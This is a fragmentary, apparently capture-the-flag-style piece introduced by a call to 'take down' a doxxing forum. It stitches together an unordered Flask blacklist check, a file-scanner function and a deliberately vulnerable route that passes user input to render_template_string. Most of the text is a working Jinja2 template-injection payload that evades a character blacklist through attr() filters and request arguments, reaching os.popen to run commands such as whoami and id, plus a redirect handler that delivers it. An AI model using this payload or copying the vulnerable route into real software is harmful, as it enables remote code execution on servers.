The owner of famous underground forum doxpit has been allegedly kidnapped, now that turmoil ensues it is the right time to strike and take down this appalling operation.
if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400
# # #
invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
def scan_directory(directory):
scan_results = []
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
try:
file_hash = calculate_sha256(file_path)
if file_hash in BLACKLIST_HASHES:
scan_results.append(f"Malicious file detected: {file} ({file_hash})")
else:
scan_results.append(f"File is safe: {file} ({file_hash})")
except Exception as e:
scan_results.append(f"Error scanning file {file}: {str(e)}")
return {
"date": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"scanned_directory": directory,
"report": scan_results
}
from flask import Flask, request, render_template_string
INVALID_CHARS = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
app = Flask(__name__)
@app.route("/exploit")
def exploit():
payload = request.args.get('p')
if payload:
payload += '<br>' * 5 + '{% raw %}'
payload += '<br>'.join(f'{char} detected' for char in INVALID_CHARS if char in payload)
payload += '{% endraw %}'
return render_template_string(payload)
else:
return "Hello, send someting inside the param 'p'!"
@app.route('/')
def home():
html = '''
<style>body{min-height:100vh;min-width:100wh;display:flex;place-items:center;} form{ margin:0 auto;} input{min-width:100%;} </style>
<body><form action="/exploit" method="get">
<textarea name="p" rows="24" cols="64" placeholder="Enter your data here..."></textarea><br>
<input name="a" placeholder="a"></input><br>
<input name="b" placeholder="b"></input><br>
<input name="c" placeholder="c"></input><br>
<input name="d" placeholder="d"></input><br>
<input type="submit" value="Submit">
</form></body>
'''
return render_template_string(html)
if __name__ == "__main__":
app.run(debug=True) # To autoreload if any changes are made
{% set param = request|attr('args')|attr('get') %}
{% set cmd = param('d') %}
{% set app = request|attr('application') %}
{% set glob = app|attr(param('a')) %}
{% set built = glob|attr('get')(param('b')) %}
{% set imp = built|attr('get')(param('c')) %}
{% set out = imp('os')|attr('popen')(cmd)|attr('read')() %}
{% print(out) %}
a = __globals__
b = __builtins__
c = __import__
d = whoami
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
payload = '''
{% set param = request|attr('args')|attr('get') %}
{% set cmd = param('d') %}
{% set app = request|attr('application') %}
{% set glob = app|attr(param('a')) %}
{% set built = glob|attr('get')(param('b')) %}
{% set imp = built|attr('get')(param('c')) %}
{% set out = imp('os')|attr('popen')(cmd)|attr('read')() %}
{% print(out) %}
'''
payload = {
'token': '48b17ec0e6acc980048c5621fb725c5d',
'a': '__globals__',
'b': '__builtins__',
'c': '__import__',
'd': 'id',
'directory': payload,
}
query = urlencode(payload)
return redirect(f"http://0.0.0.0:3000/home?{query}")